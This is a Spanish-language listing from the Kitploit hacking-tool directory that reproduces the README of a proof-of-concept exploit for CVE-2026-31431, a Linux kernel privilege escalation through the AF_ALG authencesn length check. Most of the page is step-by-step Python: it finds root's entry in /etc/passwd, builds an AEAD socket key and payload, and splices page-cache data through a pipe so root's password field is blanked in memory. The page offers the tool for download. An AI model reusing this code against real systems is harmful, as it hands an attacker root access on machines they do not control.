Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2026-31431-poc — Prueba de concepto de exploit para CVE-2026-31431, una escalada de privilegios en el kernel de Linux mediante la omisión de la comprobación de longitud de authenc en AF_ALG, logrando acceso root al modificar /etc/passwd. | Kitploit
Herramientas/GitHubGitHub/yuspring/cve-2026-31431-poc
Escalada de PrivilegiosFrameworks de ExploitsAnálisis de VulnerabilidadesExplotaciónExplotación de Binarios
GitHubyuspring/cve-2026-31431-poc

cve-2026-31431-poc

Prueba de concepto de exploit para CVE-2026-31431, una escalada de privilegios en el kernel de Linux mediante la omisión de la comprobación de longitud de authenc en AF_ALG, logrando acceso root al modificar /etc/passwd.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
334hace 4 mesesAún no revisado

CVE 2026-31431 POC

Esta vulnerabilidad explota un fallo en la función de verificación de longitud authencesn en Linux, lo que provoca que una página sucia (dirty page) se escriba de vuelta (write back) en un lugar al que el usuario no tiene permisos, causando una escalada de privilegios

El principio de ataque se basa principalmente en este repo, con algunas modificaciones en el payload
https://github.com/rootsecdev/cve_2026_31431

image Esta imagen es el parche de corrección del kernel Linux 6.12.85; en el futuro se hará trace del código con estos parches

Proceso de implementación

  1. Abrir y modificar /etc/passwd en RAM
root@kitploit:~
# Get /etc/passwd file info
with open("/etc/passwd", "rb") as f:  # binary open
  content = f.read()
  idx = content.find(b"root:x")  # find root:x location
  x_offset = idx + 5  # Get x location

El objetivo es cambiar la contraseña de root en /etc/passwd a una sin contraseña (sin pasar por la verificación de /etc/shadow)

root@kitploit:~
# Before: root:[x:0:]0:root:/root:/bin/bash
# After   root:[:0:0]0:root:/root:/bin/bash
exploit_data = b":0:0"
  1. Conectar el socket y construir el payload
root@kitploit:~
sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)  # Connect socket AF_ALG using sequence packet
sock.bind(("aead", ALG_NAME))

# Build the key payload
# Structure: [rtattr header (8 bytes)] + [enc_key_len (4 bytes)] + [authkey] + [enckey]
authkey, enckey = b"\x00" * 32, b"\x00" * 16
rtattr = struct.pack("HH", 8, 1)
keyparam = struct.pack(">I", len(enckey))
key = rtattr + keyparam + authkey + enckey

# Set key and accept socket
sock.setsockopt(SOL_ALG, ALG_SET_KEY, key)
op, _ = sock.accept() # open socket

# Send payload
payload = b"\x00" * 4 + string
cmsg = [
  (SOL_ALG, ALG_SET_OP, struct.pack("I", 0)),  # Decrypt
  (SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16), # Set IV
  (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", 8)), # Set AAD length(8)
  ]
  op.sendmsg([payload], cmsg, socket.MSG_MORE)
  1. Enviar el payload a través del socket para provocar que la página sucia se escriba de vuelta en el archivo
root@kitploit:~
# Splice connection
# Page Cache(exploit payload) -> socket(AF_ALG) -> Data(write back) -> pwn!!!
pr, pw = os.pipe()
os.splice(fd, pw, 32, offset_src=x_offset) # copy data from Page Cache to pipe
os.splice(pr, op.fileno(), 32)             # copy data from pipe to socket
try:
  op.recv(64)
except OSError:
  pass

Reference

https://xint.io/blog/copy-fail-linux-distributions

Descargar herramienta